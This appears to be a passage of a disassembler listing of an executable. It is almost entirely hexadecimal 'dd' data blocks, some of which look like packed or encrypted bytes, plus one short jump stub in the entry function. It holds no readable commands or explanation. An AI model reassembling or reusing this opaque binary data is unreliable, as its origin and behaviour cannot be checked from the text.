		dd 493561D1h, 80BAF9B3h, 0CC6C1569h, 1475D9h, 0BBC50BCFh
		dd 3C549744h, 5B62850Eh, 20B649FDh, 9169EB30h, 5EE00006h
		dd 8B4389C4h, 0DA003B0Bh, 0D57B4287h, 605B76C1h, 166131BEh
		dd 0CE0E43CAh, 0A1C208ECh, 445BEB7Fh, 0DA1BA983h, 6EA8E923h
		dd 657154E1h, 2EB9D000h, 884046B3h, 101809ABh, 27806AD1h
		dd 0A080546Eh, 0E17FE4F6h, 65FBE300h, 1526BB59h, 45FCA091h
		dd 81E8681Dh, 86E9308Dh, 6803A44Ch, 0CC7E1926h,	0BED982Ch
		dd 0C53707F7h, 0F0EB6734h, 663FE06Ah, 13761100h, 0D1BD43B6h
		dd 0C3847478h, 0DF309949h, 97C0CDF2h, 557D6095h, 0BD422A00h
		dd 48CB6788h, 81EA60BBh, 5E5581BEh, 6118CF3h, 0DF6469h
		dd 964012F9h, 5787FEA3h, 0D2BDAB00h, 71BB5AC9h,	0C4F21D7Eh
		dd 465C4C4Bh, 49004278h, 62689928h, 1B40A950h, 59BA581Ch
		dd 32DB5AC0h, 0CBAF4500h, 75D370B2h, 1100003h, 0F258618Ah
		dd 68004E81h, 6A66213Dh, 0EA1CE3h, 0A61FF66Ch, 76DE6391h
		dd 96BF8E00h, 781BFFD5h, 5D661835h, 1452814Bh, 718AF900h
		dd 0CC2FF5E6h, 0FE8E1E8Fh, 70F30003h, 0D18C35EDh, 0BBA994A8h
		dd 6900FC91h, 0AA3025ACh, 234A181Eh, 0F0D3199Fh, 0FA7D8F00h
		dd 0DE6FA205h, 24F32645h, 643112Ch, 0B15BD4CDh,	0FAC601E9h
		dd 60E49D4Fh, 8FE5F869h, 0D4083001h, 1490F9F8h,	8AA93830h
		dd 0BDAD0C40h, 0B696130Fh, 0A5C4263Dh, 78950059h, 5DD2F840h
		dd 791889D8h, 19398326h, 49F000BEh, 85979F2Ah, 0AC0086EDh
		dd 538BCF46h, 2ABEB056h, 8C4954h, 270CC3D1h, 0A0E7B683h
		dd 80CF663Ch, 0C68FB4F1h, 0DA59ABh, 0A22D716Ch,	39DE640Bh
		dd 0D5060804h, 0C489F80Ch, 0F3DCC4h, 5DC0637Bh,	539C2501h
		dd 0A29FDF4h, 9A308058h, 13C04EFh, 0FC5F2DB6h, 0D4E37AD3h
		dd 2500022Ch, 0B97599BDh, 49CAD222h, 0B3264437h, 6E1DD8h
		dd 0F4CD496Ch, 0DE727AAFh, 4FE45500h, 0B5D30AFCh, 97A304EAh
		dd 800C993Fh, 0C3BA3240h, 7B085D44h, 748E00DBh,	1BBC82CDh
		dd 0E6008A10h, 755ECE68h, 4C65EEBBh, 82396477h,	45675BC4h
		dd 0B1B70541h, 0A8D31780h, 0CF0000Bh, 0B385DAC5h, 31C5BB84h
		dd 80EEEB3Bh, 0B207983Eh, 764DD200h, 10486201h,	5284A9E0h
		dd 704EA09Eh, 8C847608h, 0FB0041D2h, 0D72BC59Bh, 0AB7D0A3Ah
		dd 0BAECA726h, 0EC4B7100h, 0F28612B9h, 0CA6C5507h, 0C260F457h
		dd 758B74h, 6AC61D5h, 78563125h, 0A03D76FAh, 0C94231FAh
		dd 4CE8D56Ah, 0EFC9072h, 9CC2DEE5h, 0B1D48469h,	122C0D01h
		dd 802223D0h, 1E271D00h, 0AD34B6Fh, 0F2355900h,	8D1013BCh
		dd 91E00053h, 0B0D9C303h, 0B0654FDh, 0D4E1F23Ah, 60E25428h
		dd 12D30056h, 0C83BC123h, 0E4006E21h, 952F2448h, 9C35D6Bh
		dd 58EAD749h, 1903D890h, 31945301h, 0E13AFB27h,	0C090CCh
		dd 9288B80Ah, 6EADF684h, 3C8000B9h, 4443C14Bh, 2A7AC0h
		dd 421EA866h, 29B61B7Fh, 0B3A79501h, 8173F2B4h,	0F0B5F1F4h
		dd 9E3E1345h, 0D4FC205Eh, 4B00D279h, 0B6F4EAFCh, 0F530C4h
		dd 0B4AD8310h, 0CD8C6C68h, 7EEE0CBh, 0DE504294h, 90C9515Ah
		dd 49F812D8h, 2EB404CFh, 0D3BB405Dh, 2D64A4h, 97F56167h
		dd 1BA6F230h, 608E3A28h, 0D8C4A92Ch, 0D3C0B360h, 0F0E300FFh
		dd 641A6081h, 49935D5h,	58333D82h, 0AB386808h, 0DF51016Ah
		dd 9E12B3C8h, 90071F1h,	0CAF2C4E4h, 603A100Ch, 0A05B41A6h
		dd 778C2350h, 0E977495h, 7AC462A9h, 0A7E3258Fh,	0F024C15Fh
		dd 684A54D8h, 0A44F880Ah, 0F4C96900h, 136B178h,	82DB1B9Fh
		dd 80A626FAh, 0B52C5C79h
		dd 1C3CCCBh, 0BEF7D806h, 0E8BB53FFh, 0D378D568h, 3588990Ah
		dd 0A9094C3Dh, 0D50091C0h, 0D5A4030h, 8525A395h, 80C23158h
		dd 4E738BB9h, 38B02E84h, 610C54D8h, 6C88BC86h, 5567404h
		dd 80883BBAh, 0F31301A2h, 0BEB3AE96h, 843350h, 0AC8301EEh
		dd 48A2603Bh, 0F8805C23h, 0E2738555h, 0D5C1BF00h, 0AC3E9B44h
		dd 742F2FDh, 16358DD6h,	51BE5246h, 6349F898h, 0F2967805h
		dd 98005A20h, 55DEF12Ch, 739800DBh, 57716FC0h, 18D4A6BEh
		dd 23A50C40h, 1D6EF934h, 40E85CB0h, 0EC83856Dh,	0BD60E4D4h
		dd 0DA93CAC0h, 0FC564C82h, 67F55C0h, 0E60007EDh, 13D52A86h
		dd 79E7C629h, 4C682DAh,	2B08F400h, 587BC87Fh, 7E0E2834h
		dd 0EDD044C0h, 6E281804h, 6880BE78h, 119E2975h,	48405B98h
		dd 0DAA3848h, 0C0477B84h, 106D6FF8h, 9F61348h, 0E68F93h
		dd 0BBD22A90h, 839D3ADh, 5693D490h, 48821809h, 14C4F0C4h
		dd 0D85DB4DDh, 0E6E42D80h, 472CA5EEh, 1C40D0F9h, 12222325h
		dd 886B6C34h, 970011C8h, 1CA3EC9Ah, 7F4A543h, 0C2EFEA9Bh
		dd 5DCFD008h, 563C8378h, 0ADE889F0h, 3AA080EDh,	0BD755Fh
		dd 0FFA29ACFh, 65FD26E0h, 50186F03h, 0C07F6602h, 0D3CC85h
		dd 1992611Fh, 7ECD1C0Dh, 0D04B28C0h, 0D5778FCh,	6F58EF80h
		dd 5531E830h, 0FF9EC3Ch, 0E0283749h, 11016226h,	85D500BFh
		dd 8625136Dh, 0EF30F3D1h, 870F3971h, 7A4100FFh,	0E006AAEDh
		dd 0EC00C29Ah, 775CD534h, 229D83Eh, 0A41A8437h,	0F20564DFh
		dd 0B4632000h, 0C57316h, 0C7CD8D67h, 0F59C5F82h, 7ACC5200h
		dd 234C97D7h, 3016601Ch, 0DFDAE565h, 818CE700h,	0C82978A5h
		dd 2C060071h, 0A480CA16h, 9E7E776Bh, 0FF1EA91Dh, 0A30CE616h
		dd 0C4416Ch, 2C32A79Bh,	247D4847h, 0E5014273h, 0F16E5756h
		dd 3FD4EFD6h, 0F20F1569h, 5800A8FAh, 8215839Ch,	0C9083AE0h
		dd 0E5770h, 516ED76Fh, 0F500D9D3h, 0C6CD4754h, 1CDEDD15h
		dd 0CF143E8Bh, 1DAC841Fh, 5A00E331h, 62E7FBB0h,	1D6919E9h
		dd 846A2CB2h, 0C12879A1h, 3FCFDDCDh, 0C4EEDF0h,	0E286778Ch
		dd 0A30F9B98h, 55FF1D3Ah, 176F0EE8h, 7CA918F2h,	8ABD0716h
		dd 60744CD0h, 254A31F6h, 68A68305h, 12C0E51Fh, 33E095h
		dd 695307A4h, 1A7B5F6Bh, 50D6A730h, 0C4F737Fh, 0FCF2C0C6h
		dd 0BC008159h, 0E099D72Ch, 27E4C10h, 643FBA7Ah,	40A0B163h
		dd 0D4E2FC97h, 26D89800h, 2A60C6E0h, 141D2A25h,	0B5AE00C0h
		dd 0C1027592h, 0F22E3E69h, 870097E0h, 0D82979Bh, 150F0227h
		dd 5753186Dh, 1A1D1448h, 27C041DDh, 5831640Dh, 5040278h
		dd 51E56E90h, 0D6C1D540h, 2A29F405h, 0FC0A035Dh, 0CF8E94C8h
		dd 0C00DC30Eh, 11D7E15Fh, 1954518Ah, 494A80A4h,	4F3FAE20h
		dd 0B03BF000h, 47B5EDE2h, 0F71D3122h, 0FCDC4C49h, 0E0097545h
		dd 0CFB1B0h, 0F77F6D9h,	0C00C1D80h, 0FE00390Eh,	2D87E09Ah
		dd 63049F9Ch, 14E1803h,	9AF0D089h, 0FEECE9A8h, 57FA18A2h
		dd 66888935h, 54E19200h, 377043D8h, 1230A7Dh, 0BCD0D087h
		dd 4696903Fh, 5B1A0036h, 3B893F72h, 0E000F471h,	8EB9FCEBh
		dd 79E1F1Bh, 0FDD73EECh, 31618C57h, 0CFD8AA1Ch,	59467D00h
		dd 14627836h, 0E4EFFFB6h, 5340BC8Fh, 8B58F1ACh,	0D100D3E0h
		dd 5DFF0276h, 541C1A7Fh, 18EA010h, 68B74393h, 0F028E488h
		dd 0C900A5FBh, 0CBFAA648h, 335F2EAAh, 4EF12C2Ah, 0C3AE5790h
		dd 9C199600h, 0AC7C004h, 9EC28h, 2EE35AFAh, 0EFFEA483h
		dd 983015F0h, 0EC1F9D7h, 0C92260A8h, 27A472Ah, 0FC234F05h
		dd 3E8086E0h, 792F9ABh,	0F818CF11h, 3FC7A57h, 0ED440498h
		dd 7D4ADB90h, 19ECEF07h, 0D0C04364h, 310F059h, 3A4480F1h
		dd 712CD886h, 0D105B2B7h, 0E400AF13h, 5F332599h, 7AE50978h
		dd 0D0020142h, 1046776Eh, 0A825FF01h, 28B9E37Dh, 4A2DE8h
		dd 9AD69DB3h, 9C1A86A7h, 0A61D960h, 6084C511h, 9DA911D2h
		dd 0B9013425h, 0D0282018h, 0B4543DD7h, 88208Ch,	93B0F4CEh
		dd 0A4E833A1h, 0D6019CFAh, 901551ABh, 0BAE87ADDh, 9C9F489Bh
		dd 0B66FD0C0h, 0D4035355h, 4470BFA0h, 0A7903F81h, 782345h
		dd 9F06FC09h, 0FE53EC08h, 0E2493011h, 7F4755F8h, 0F558AC98h
		dd 5E0D1F50h, 0C7714C03h, 0F61C3D0h, 77895D71h,	0D3154C1Dh
		dd 8270B861h, 4C739024h, 71FE8C00h, 0F03C481Ah,	30960C5Eh
		dd 3E41151Dh, 5344F400h, 0B869C43h, 0E6751C7Dh,	0CD9482EBh
		dd 0EC44CE7Ah, 0CB669BE6h, 169FAFAh, 0FC604D1Ah, 0C4ECE7EAh
		dd 13011E0Ch, 7983737Eh, 298FCB15h, 0B740C241h,	62D834EDh
		dd 76332F00h, 0A6E59DCCh, 4F78010Ch, 88FCDC3Ch,	1C57CCBFh
		dd 29F49598h, 0CDC85D05h, 0DB80564Ch, 16E0EC9Fh, 20A82154h
		dd 80C9ABC8h, 0BA9C7F00h, 51F10A36h, 0D2EF30ACh, 124104F0h
		dd 1A578418h, 3D5F2A31h, 0A3832072h, 69BB3C5Dh,	8D9BA2A0h
		dd 32493326h, 3E00C028h, 0DAA4321Ah, 24C53763h,	24427F4h
		dd 54856114h, 87564080h, 300B960h, 2E96DBAAh, 6093FFB8h
		dd 57F12111h, 0D104B6B3h, 15BEAB7Ah, 3D674488h,	0A704DC83h
		dd 0C7FB8021h, 0BFF506h, 57F0ACF8h, 60741AF5h, 0A53FADFCh
		dd 9C2C00D6h, 86505FF2h, 46688E6h, 2CA5E00h, 9D62046h
		dd 0ED4D0039h, 5A4491Bh, 0B500F779h, 0D143BBB2h, 0FAF14FEh
		dd 80D2E3EFh, 3BC80FC0h, 0E46384FDh, 0B7ECF251h, 0C06CAA20h
		dd 7D80697h, 21510EC6h,	0AC98FD76h, 0A80A9014h,	0C6EE9EACh
		dd 63AAE90Eh, 0F91B6C6Bh, 78505339h, 51F78FFh, 94DA56E2h
		dd 0FA7C8CE1h, 0D05A9500h, 29884412h, 3CE5075Ch, 1408F58Ch
		dd 0F1648774h, 4154635Bh, 0F49A6238h, 0A700397Bh, 3AD8F276h
		dd 441571DCh, 0D40005E9h, 9FCD73D6h, 1C75B30Fh,	3D92A4A6h
		dd 0E1C74C85h, 0CD870217h, 7448F2D9h, 84998D1Ah, 0CE1D0606h
		dd 0E2A30019h, 9CDD59CAh, 7009E2Ch, 5680D8CBh, 3A85BE5h
		dd 0FB5162D4h, 16F38DC7h, 8561D589h, 0AE4DCDB8h, 70FC3C8Dh
		dd 45E036Ch, 0D2677CBCh, 2B3395F0h, 0CA751F00h,	0E62C94EFh
		dd 89CD6086h, 90AECDDh,	1E476D00h, 0B536373Eh, 0D9C61269h
		dd 5C04306Bh, 0CE07A93Ch, 6D453FDEh, 16395BB0h,	2FFE06Eh
		dd 3294D8A4h, 2C6060F2h, 3405CDD0h, 64530F76h, 0B38EC47h
		dd 0A0FE7A82h, 247182CCh, 3E44005Ah, 0C4BEC2F1h, 9E00FF9Ch
		dd 28BB9536h, 0C072DF3h, 34967A8Eh, 0D52E8F08h,	471E3008h
		dd 9DE83A80h, 151AACAh,	2DFC7582h, 0C00BED50h, 330020ADh
		dd 0EB7C89C2h, 7537E4h,	27AA1F7Fh, 25078F73h, 618E5C30h
		dd 0C02BAF28h, 1F4E7B19h, 88F98DB1h, 93226729h,	84CC0E01h
		dd 0F9D0AB00h, 51067406h, 2515083Dh, 0BD760E41h, 0DF0021BCh
		dd 0C0033A2Eh, 87B88612h, 0C7F9A501h, 4096355Bh, 0D985190Fh
		dd 1EC94080h, 38019E2Bh, 8959FFACh, 21832A25h, 0B6DDA20Fh
		dd 2FBC1ED0h, 0BFDB700h, 39FC506Bh, 0B57500ACh,	3589DBAh
		dd 0C2003563h, 0E0E35CADh, 97F9C7h, 5FA75B9h, 0ACD9AE9Ch
		dd 0A81670Fh, 0AC28EE13h, 3F27E11Dh, 4D2A7882h,	0A48B0368h
		dd 7EF55472h, 9E8B6BBh,	4F032787h, 0A937FC88h, 8E280C04h
		dd 79492941h, 0D5F3C200h, 0DF7D3C17h, 65743CAEh, 0A637570Ah
		dd 0E88E98ACh, 0FF3D1DFEh, 0FC00E1Fh, 0C0F11AAAh, 61255FFFh
		dd 8C431129h, 281486A6h, 1C69205Bh, 5FCA1A0Eh, 6219FE11h
		dd 486F1936h, 9452D934h, 476501B4h, 0EBD30676h,	410B9C42h
		dd 0A1C8FF4Dh, 6D5C003Ah
		dd 0F81D220Eh, 377511C7h, 14D84324h, 0E3175F80h, 482DFE56h
		dd 0A831008h, 0CCA12E95h, 8015E4F6h, 75DF19C0h,	3A6606AAh
		dd 0DB006A63h, 14A2C3DDh, 0A9312809h, 3432999h,	0AEABA98Fh
		dd 0A9C80C6Ch, 40D85700h, 1D2C7C3Fh, 0B0C70FA3h, 48C09723h
		dd 0D691F0CFh, 0A100E372h, 339E5D32h, 4A1AACF7h, 5695F0B7h
		dd 8239ECF6h, 37DA067Ch, 0C9E7AAh, 40CD5AF7h, 0AC9B1119h
		dd 48911C24h, 3195DA04h, 9CAF3B40h, 3800B1EDh, 401CF98Bh
		dd 307ECF73h, 7A49F428h, 0AE00F878h, 4CADDE5Bh,	2429C296h
		dd 4204BB23h, 1BF654BDh, 84193403h, 0C5FFE043h,	9C152A6Ah
		dd 0AB90480h, 0C028922Ah, 0C59E1ADEh, 0E0049D75h, 0CEE118C6h
		dd 24159D81h, 0FA4C4824h, 749AF4FBh, 7077065Fh,	0B91E25ABh
		dd 652A8100h, 49C06286h, 7E421CC5h, 12AF00B0h, 0E825E24h
		dd 1C3F4A0Eh, 2CAC0653h, 7BF00939h, 14807732h, 59109DB9h
		dd 0D811EF12h, 80F3A00Eh, 0C5E4E8DEh, 1CB30343h, 235D289Ah
		dd 63E4E976h, 80AA3839h, 0AB94F9C8h, 10580FC7h,	3D054553h
		dd 0BDC6808Eh, 412C5E22h, 1B007E4h, 80BBF51Ah, 6E6AA7C5h
		dd 5CAB3724h, 0C825F940h, 1747EB0h, 2B1538Dh, 0CEDEDB95h
		dd 0F6008864h, 0A1F43016h, 0C841E2h, 82887EB1h,	2181BFADh
		dd 0F9D1C06h, 63123A0h,	1F44752Ah, 71D11ACh, 0F3C0C792h
		dd 0F07001B7h, 86320055h, 6F0B5D37h, 0BCA82308h, 2400B361h
		dd 0B1609EC3h, 33846F5h, 0D33489E3h, 51001394h,	911FAE19h
		dd 710B0A98h, 9CC11F6Dh, 0A89F80A7h, 190C94E0h,	84AAE726h
		dd 0CF822400h, 739E4232h, 0EC91C4h, 0CE64BFF3h,	0AD00951Ah
		dd 27BE85Bh, 3CB8C2ABh,	0FD9C31AEh, 1CA23C57h, 8058084Ch
		dd 248AFF81h, 637400ECh, 0FDDA2EBDh, 6202C267h,	575BD84Ch
		dd 0B37C4126h, 12A9B842h, 10294041h, 7D4F0E89h,	0E4AE50DBh
		dd 5BC80F67h, 2093377Eh, 0B0DEF908h, 3440DF00h,	6DD35CF0h
		dd 0FBE139Eh, 0E06420A3h, 0FD02B1ACh, 97460D26h, 0F46CC3E5h
		dd 4161C540h, 0AD09FFD3h, 155EE47h, 568D5050h, 3594E88Ch
		dd 0C006349h, 0AD78656Ah, 50ECA72h, 37918A7Bh, 0DA600EFFh
		dd 5BBDABC3h, 0FAD8DB8h, 0FCAC52h, 0CE0D087h, 7A486806h
		dd 18D60717h, 782F07h, 12360F0Eh, 733E5F78h, 0ED8793DAh
		dd 45769000h, 98723DE2h, 9EE10C40h, 43712E46h, 83100607h
		dd 9C00FDEBh, 28AF8Bh, 94C62A42h, 1E969789h, 0AA39E809h
		dd 7FA40370h, 9D038F0Ah, 2A990C28h, 0AA5174ABh,	6680F601h
		dd 715BF557h, 9386CD8h,	0BA5AB5E5h, 37F71800h, 0A0AAE2A8h
		dd 4036B404h, 8CFA5626h, 0EB3305CFh, 98A53710h,	6A14C634h
		dd 3B06E77h, 462D0408h,	0F3210001h, 0B27B3E7Eh,	8501BA88h
		dd 63C59453h, 0BC206E93h, 6D5A00DAh, 80339DEFh,	0F1198F2Fh
		dd 2D809429h, 0DB46FF10h, 54B799C0h, 30DAE4Ah, 5C586FC7h
		dd 0BFB1E5F7h, 0D1CC60E2h, 0AEFCB403h, 0A1E072C9h, 586603D0h
		dd 21B70F04h, 9A981D8Dh, 0B34719h, 72CD2B57h, 68188025h
		dd 7BEB4901h, 9148AD98h, 0A02674C0h, 9AEC94h, 3BE3210Eh
		dd 1C5254Eh, 8BF04C98h,	5F4C3803h, 0EC51679Dh, 2EE724C8h
		dd 56D3C7h, 56D74069h, 682839ABh, 14004015h, 0B0D0F06h
		dd 77A605F6h, 1B61004Dh, 0E826492Ah, 0F9F83067h, 2900ACA6h
		dd 1B9DD44Ah, 0E5D1F102h, 0FEA7C3D8h, 0EE00791h, 0D9A4FD49h
		dd 34193889h, 0D429D874h, 2C9ECF00h, 77D00401h,	0FA28268Dh
		dd 130F47B8h, 11D6420Ah, 0CAC58800h, 0E91FFE82h, 0F4A91D3Fh
		dd 6504041Ah, 0B6588843h, 4F00B374h, 6DACBAE1h,	366FBFEh
		dd 0A421BB7Ah, 0F7B8015Eh, 9C485BB0h, 0F1B81C14h, 0C84D7543h
		dd 8880DCCBh, 58839960h, 20803896h, 0DF9219C6h,	0C7BBAF09h
		dd 0AA8C8191h, 0B840B068h, 5CB4DA99h, 0F3C0A85Dh, 4ACBEE7Dh
		dd 0FC2C700h, 0D16AC8A8h, 73090C11h, 6740FE3Ch,	32BD3318h
		dd 1BD2E1h, 5089FD9Fh, 44FC342h, 990E1100h, 48CFEA10h
		dd 5A1D0AA5h, 5F01CC35h, 6CFFFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_547FAC:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_54B525
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd offset word_5992DA
		align 4
		dd 2 dup(0)
		dd 0E9A67900h, 2Ch, 0
		dd 100h, 3 dup(0)
		dd 686E00h, 2 dup(0)
		dd 0A169DD00h, 0
		dd 627100h, 0F51B2B00h,	77h, 0Bh dup(0)
		dd 41FFB000h, 1, 0E7A14400h, 77h, 6 dup(0)
		dd 59341800h, 0E800h, 3	dup(0)
		dd 0FE030400h, 12FFE07Fh, 2 dup(0)
		dd 0FDFEC500h, 77h, 0D4C96A00h,	77h, 0
		dd 4A000000h, 2, 2 dup(0)
		dd 0F9C00F00h, 0CCh, 0A1923400h, 5 dup(0)
		dd 0ED5FB500h, 0DF14C81Eh, 0B6h, 5 dup(0)
		dd 7E485000h, 0D3h, 0B41B4000h,	76h, 3 dup(0)
		dd 58002300h, 2	dup(0)
		dd 0F815700h, 9, 0
		dd 100h, 4 dup(0)
		dd 0A12BDE00h, 80099300h, 0A122920Ah, 57790100h, 0CEBB5300h
		dd 40h,	4 dup(0)
		dd 0E0971400h, 3Fh, 0Ah	dup(0)
		dd 0F5125400h, 6F198A77h, 25h, 2 dup(0)
		dd 0A169DD00h, 7 dup(0)
		dd 686E00h, 6 dup(0)
		dd 5BC7D800h, 0
dword_5481D0	dd 57237F00h, 0E6D70600h, 77h, 0FB64AD00h, 0FFh, 0B0h dup(0)
		dd 0A0003E00h, 2 dup(0)
		dd 1191900h, 0
		dd 59CDEC00h, 0FE030400h, 7Fh, 0F0D7C500h, 69h,	0
		dd 0B3FD6200h, 65h, 23E57500h, 58801D34h, 5B627700h, 3 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 58BF7500h, 2	dup(0)
		dd 0E7A83700h, 77h, 54BAAB00h, 58447B00h, 0Ah dup(0)
		dd 0A1A00F00h, 3 dup(0)
		dd 0E8F81800h, 54973E77h, 0Bh dup(0)
		dd 0A46A5900h, 0FFh, 12FFE000h,	5 dup(0)
		dd 0FE030400h, 7Fh, 7 dup(0)
		dd 58339D00h, 5	dup(0)
		dd 0B8000000h, 5 dup(0)
		dd 0FF745B00h, 0FFh, 0DCF100h, 1446F000h, 4 dup(0)
		dd 0FE030400h, 7Fh, 0FF192800h,	0FFh, 7FD68700h, 2, 3 dup(0)
		dd 0E8000000h, 0EDh, 15h dup(0)
		dd 87384100h, 0FBh, 633400h, 5 dup(0)
		dd 4F1AAD00h, 74h, 5 dup(0)
		dd 7A8E2B00h, 8Fh, 686E00h, 3 dup(0)
		dd 0A7CE2700h, 0FFh, 0Bh dup(0)
		dd 6000100h, 6 dup(0)
		dd 12FEF400h, 9	dup(0)
		dd 58002300h, 4	dup(0)
		dd 0BE5CD300h, 0F1h, 2 dup(0)
		dd 0E993E000h, 6Ch, 0
		dd 919B4D00h, 0A3B1342Ch, 4 dup(0)
		dd 584A8600h, 3	dup(0)
		dd 0E9DDA900h, 2Ch, 1FCFC00h, 80h, 3 dup(0)
		dd 5D54B700h, 12FEF0A0h, 4 dup(0)
		dd 400h, 5 dup(0)
		dd 5D29D900h, 39h, 0BE99400h, 0
		dd 0FFA15C00h, 0FFh, 4 dup(0)
		dd 5B95AB00h, 0
		dd 57790100h, 2	dup(0)
		dd 28010500h, 0Ah, 3 dup(0)
		dd 0E7A14400h, 77h, 2 dup(0)
		dd 5A190500h, 5	dup(0)
		dd 5D000000h, 2, 3 dup(0)
		dd 5BFFD800h, 5	dup(0)
		dd 0E8216800h, 77h, 0
		dd 0A58D5300h, 4 dup(0)
		dd 41FFB000h, 7002h, 4A6CB800h,	2, 0
		dd 0FE030400h, 7Fh, 7 dup(0)
		dd 0FF71C400h, 0FFh, 2 dup(0)
		dd 56A70800h, 80h, 0
		dd 4DDA1400h, 0FFh, 10h	dup(0)
		dd 0F7EBB300h, 1BFDE077h, 0A37FD869h, 7	dup(0)
		dd 3D9400h, 4 dup(0)
		dd 0A15E2E00h, 0FE278F00h, 0FE03047Fh, 7Fh, 2 dup(0)
		dd 0FF055300h, 1FFh, 5 dup(0)
		dd 46DA4400h, 0C2h, 0Eh	dup(0)
		dd 69DD00h, 0
		dd 580B3E00h, 0A1A00F00h, 0
		dd 9892BB00h, 54h, 6 dup(0)
		dd 580B2C00h, 4	dup(0)
		dd 46DA4400h, 0C2h, 0E7A09900h,	77h, 40000000h,	32h, 6 dup(0)
		dd 0A39BAC00h, 4 dup(0)
		dd 549E7D00h, 6	dup(0)
		dd 584A8600h, 0
		dd 11944F00h, 25h, 0
		dd 45768200h, 4, 0
		dd 1516AB00h, 58200A16h, 5 dup(0)
		dd 0A169DD00h, 0
		dd 3400000h, 2 dup(0)
		dd 586D2C00h, 5DE14100h, 20h, 4	dup(0)
		dd 0C5AC8800h, 0
		dd 33333300h, 2	dup(33333333h),	333h, 6	dup(0)
		dd 57FDE700h, 0Ch dup(0)
		dd 8E38B600h, 77h, 24B800h, 2 dup(0)
		dd 0A13E3B00h, 0FF8E3C00h, 0FFh, 0
		dd 6A6000h, 0
		dd 0E7A5FD00h, 77h, 3 dup(0)
		dd 0A18C0A00h, 4 dup(0)
		dd 3794C500h, 7Dh, 3 dup(0)
		dd 0FF551700h, 0FFh, 0
		dd 686E00h, 0Ah	dup(0)
		dd 5499F500h, 0
		dd 0C530DF00h, 0FF9FE1A9h, 0FFh, 0
		dd 4C029E00h, 9Ah, 0E7AC5E00h, 80294177h, 0F7h,	2Eh dup(0)
		dd 0FEEE2600h, 7Fh, 2 dup(0)
		dd 7400h, 0Ah dup(0)
		dd 0A109F700h, 2 dup(0)
		dd 1DE58600h, 0Eh, 0
		dd 3F01F000h, 0E7C486FDh, 77h, 2 dup(0)
		dd 0A0B16800h, 0
		dd 1D665400h, 6Ch, 5C000000h, 59589902h, 5 dup(0)
		dd 0FE030400h, 7Fh, 0A1A00F00h,	0A400h,	2 dup(0)
		dd 5A306500h, 0A1A03700h, 5 dup(0)
		dd 5A2E6B00h, 3A000h, 6F600000h, 0FFh, 0
		dd 0CCFE00h, 15h dup(0)
		dd 5D35E700h, 0AC0Bh, 6	dup(0)
		dd 100h, 4 dup(0)
		dd 5E5FF100h, 590274FFh, 0A170C400h, 2 dup(0)
		dd 0BA62BB00h, 0A4h, 0F9C00F00h, 0CCh, 2 dup(0)
		dd 0F5000000h, 0F7620877h, 9, 3	dup(0)
		dd 549FCD00h, 0B1A1FE00h, 1Dh dup(0)
		dd 0FD9E5600h, 0FEh, 919B4D00h,	2Ch, 12FEF800h,	3 dup(0)
		dd 62BCD500h, 14h, 0E6003E00h, 77h, 59589900h, 4 dup(0)
		dd 580B2C00h, 58447B00h, 7 dup(0)
		dd 593B9D00h, 1Bh, 2 dup(0)
		dd 91FFB000h, 1, 18h dup(0)
		dd 58AE0500h, 4	dup(0)
		dd 6A6000h, 0
		dd 0F700h, 4 dup(0)
		dd 3D9400h, 0FE030400h,	7Fh, 0FE030400h, 7Fh, 4A6CB800h
		dd 2, 0E8000000h, 0EDh,	3 dup(0)
		dd 5B9DBB00h, 0
		dd 3900h, 0
		dd 8A977F00h, 0E793EF79h, 0FEE37277h, 0FFh, 3 dup(0)
		dd 580B2C00h, 5	dup(0)
		dd 0B945500h, 1, 0
		dd 0DD189A00h, 0A7FFDD77h, 0FFFFFCFFh, 0FFh, 54A6ED00h
		dd 0
		dd 0A169DD00h, 4 dup(0)
		dd 4E1A5800h, 1FFh, 8400h, 0FE030400h, 7Fh, 9EA000h, 8 dup(0)
		dd 5D35E700h, 0Bh, 8800h, 6 dup(0)
		dd 0FE030400h, 5A19627Fh, 0B000h, 56E3C500h, 0E7A13F80h
		dd 584A8677h, 7	dup(0)
		dd 0A7B57A00h, 0FFh, 3 dup(0)
		dd 0FFFFFF00h, 0EFh, 2 dup(0)
		dd 1FCFC00h, 80h, 0
		dd 100h, 7 dup(0)
		dd 58B83800h, 3	dup(0)
		dd 0A2156400h, 0
		dd 54A6ED00h, 6	dup(0)
		dd 12FF6400h, 3B1A1E00h, 0B9h, 100000h,	5861AD00h, 3 dup(0)
		dd 0E6000000h, 570FCD77h, 2 dup(0)
		dd 0DD00000h, 57E49300h, 2 dup(0)
		dd 4DE00000h, 0F5125400h, 77h, 4 dup(0)
		dd 0C452900h, 6	dup(0)
		dd 0F5000000h, 77h, 57E8D500h, 5 dup(0)
		dd 0FE030400h, 0F512547Fh, 77h,	0A5A5E700h, 0A47AC300h
		dd 5B5C83FFh, 3	dup(0)
		dd 57B46A00h, 6	dup(0)
		dd 0EA444300h, 1Bh, 3 dup(0)
		dd 54C00900h, 0
		dd 0A19C3700h, 0
		dd 12FF5400h, 2	dup(0)
		dd 5CB1E700h, 0
		dd 5A869F00h, 3	dup(0)
		dd 5B000000h, 2, 0
		dd 59D51800h, 910B0D00h, 2Ch, 56E3C500h, 80h, 2	dup(0)
		dd 0B3FD6200h, 83455165h, 5CE07215h, 0EBA6E900h, 77h, 5	dup(0)
		dd 58F2D600h, 54002300h, 0Bh dup(0)
		dd 5B842900h, 5	dup(0)
		dd 5B9E1500h, 0
		dd 910B0D00h, 2Ch, 16D48700h, 2Bh, 2 dup(0)
		dd 5B60E500h, 5	dup(0)
		dd 100h, 0
		dd 0E82FE800h, 77h, 8 dup(0)
		dd 0A4681D00h, 0FFh, 5B000000h,	100h, 12FF3800h, 0
		dd 0E8216400h, 77h, 0FEFB7F00h,	31h, 2 dup(0)
		dd 13F7A500h, 0
		dd 46DA4400h, 0C2h, 2 dup(0)
		dd 58801D00h, 2	dup(0)
		dd 0E7796300h, 77h, 0A169DD00h,	5 dup(0)
		dd 0D4C96A00h, 77h, 5 dup(0)
		dd 90AF3000h, 4EEh, 8DDD5800h, 45h, 686E00h, 0
		dd 9DD7D400h, 5Ch, 2 dup(0)
		dd 6F198A00h, 25h, 12FEF800h, 0AF000000h, 87h dup(0)
		dd 0CC55E300h, 7, 68h dup(0)
		dd 0A16CB000h, 7 dup(0)
		dd 686E00h, 0FE6B1600h,	686E6Eh, 5 dup(0)
